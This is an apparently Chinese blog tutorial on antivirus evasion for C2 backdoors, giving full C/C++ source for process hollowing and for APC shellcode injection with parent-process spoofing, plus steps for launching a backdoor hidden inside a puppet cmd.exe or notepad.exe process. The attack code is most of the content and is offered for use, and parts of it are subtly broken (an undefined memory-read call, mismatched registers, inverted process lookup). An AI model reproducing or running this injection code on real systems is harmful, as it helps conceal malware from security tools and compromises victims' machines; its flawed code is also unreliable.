【免杀】C2远控-APC注入-进程镂空

进程镂空&傀儡进程(主要过内存扫描)

进程镂空(Process Hollowing)
是一种防御规避的进程注入技术,以红队隐匿技能为主的辅助免杀手法

代码
#include <stdio.h>
#include <Windows.h>

typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main(int argc, wchar_t* argv[])
{
	IN PIMAGE_DOS_HEADER pDosHeaders;
	IN PIMAGE_NT_HEADERS pNtHeaders;
	IN PIMAGE_SECTION_HEADER pSectionHeaders;

	IN PVOID FileImage;

	IN HANDLE hFile;
	OUT DWORD FileReadSize;
	IN DWORD dwFileSize;

	IN PVOID RemoteImageBase;
	IN PVOID RemoteProcessMemory;




	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_FULL;
	si.cb = sizeof(si);


	char path[] = "HelloWorld.exe";
	BOOL bRet = CreateProcessA(
		NULL,
		(LPSTR)"calc",
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED,
		NULL,
		NULL,
		&si,
		&pi);

	//在本进程获取替换文件的内容
	hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
	FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
	CloseHandle(hFile);

	pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;
	pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头

	GetThreadContext(pi.hThread, &ctx); //获取挂起进程上下文

#ifdef _WIN64
	ReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
	// 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
	// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
	ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif

	//判断文件预期加载地址是否被占用
	pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
	if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
	{
		NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
	}

	//为可执行映像分配内存,并写入文件头
	RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

	//逐段写入
	for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
	{
		pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
		WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
	}

	//将rax寄存器设置为注入软件的入口点
#ifdef _WIN64
	ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
	WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif

	//将eax寄存器设置为注入软件的入口点
#ifdef _X86_
	ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
	WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif


	SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
	ResumeThread(pi.hThread); // 恢复挂起线程

	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	return 0;
}

1.创建一个挂起合法进程
2.读取执行代码
3.获取挂起进程上下文与环境信息
4.卸载挂起进程内存
5.写入执行代码
6.恢复挂起进程

傀儡进程演示
  • 将代码生成的程序打开,并用进程监控工具进行监控
    刚打开时会发现存在有这个进程。project1.exe

    然后等一下就发现它不见了。其实是变成了cmd.exe(变成什么进程我们是可以在代码里面控制的)

    控制的代码位置
如何上线
  • 这里有两种上线方式,一直是用后门程序,一种是用后门代码

    后门程序: 将你的后门程序写入代码中,让它去运行,如这里是HelloWorld.exe
    后门代码: 将你的后门代码写在这里
    这里推荐第二种方式(第一种必须要满足 两个程序都要实现免杀才行)
上线演示
  • 先生成一个上线程序
  • 将上线后门改成 HelloWorld.exe 与代码当中一样,和代码程序放在同一个目录
  • 运行 project1.exe,会发现已经上线,且进程里面没有project.exe 只有一个傀儡进程cmd.exe

APC注入&进程欺骗(主要过内存扫描)

APC全称为Asynchronous Procedure Call,叫异步过程调用,
是指函数在特定线程中被异步执行,在操作系统中是并发机制。

同步调用与异步调用

同步调用:
我们需要去烧水,首先我们先去需 要给水壶添水,然后将水壶连接上电之后,然后加热,等水烧开了然后取水,在烧水的等待的时间中,我们不去做任何事情。这就是同步。
异步调用:
就是我们在烧水的等待的过程中去干一些其他的事情,比如玩手机,打扫卫生等等。

流程
1、获取父进程PID
2、获取当前进程权限
3、创建并分配写入内存
4、写入SC并APC进行调用
APC注入 配合进程注入实现父进程欺骗

代码
// Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <fstream>
using namespace std;
DWORD getParentProcessID()
{
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);
    if (Process32First(snapshot, &process))
    {
        do
        {
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
            {
                printf("Find explorer failed!\n");
                break;
            }
        } while (Process32Next(snapshot, &process));
    }
    CloseHandle(snapshot);
    return process.th32ProcessID;
}
int main()
{
    unsigned char shellCode[] = "你的shellcode";

   
  
    
    STARTUPINFOEXA sInfoEX;
    PROCESS_INFORMATION pInfo;
    SIZE_T sizeT;
    //打开explorer进程获取当前进程所有权限
    HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());
    //用0填充数组
    ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
    //初始化指定的属性列表,创建进程和线程
    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
    //设置进程属性并从堆中分配内存
    sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
    InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
    //更新用于进程和线程创建的属性列表中的指定属性
    UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);

    sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    CreateProcessA("C:\\Windows\\System32\\notepad.exe",
        NULL,
        NULL,
        NULL,
        TRUE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
        &pInfo);
    //分配内存
    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    SIZE_T* lpNumberOfBytesWritten = 0;
    //写入内存
    BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);
    // APC调用
    QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
    //启动线程
    ResumeThread(pInfo.hThread);
    CloseHandle(pInfo.hThread);
    return 0;
}
演示
  • 写入shellcode并生成程序
  • 这里我生成的程序是 project3.exe,执行程序,并用进程监控软件进行监控

    执行后会发现直接就是 notepad.exe,并没有像进程镂空那样先显示 Project1.exe 再转换为傀儡进程
  • 20
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值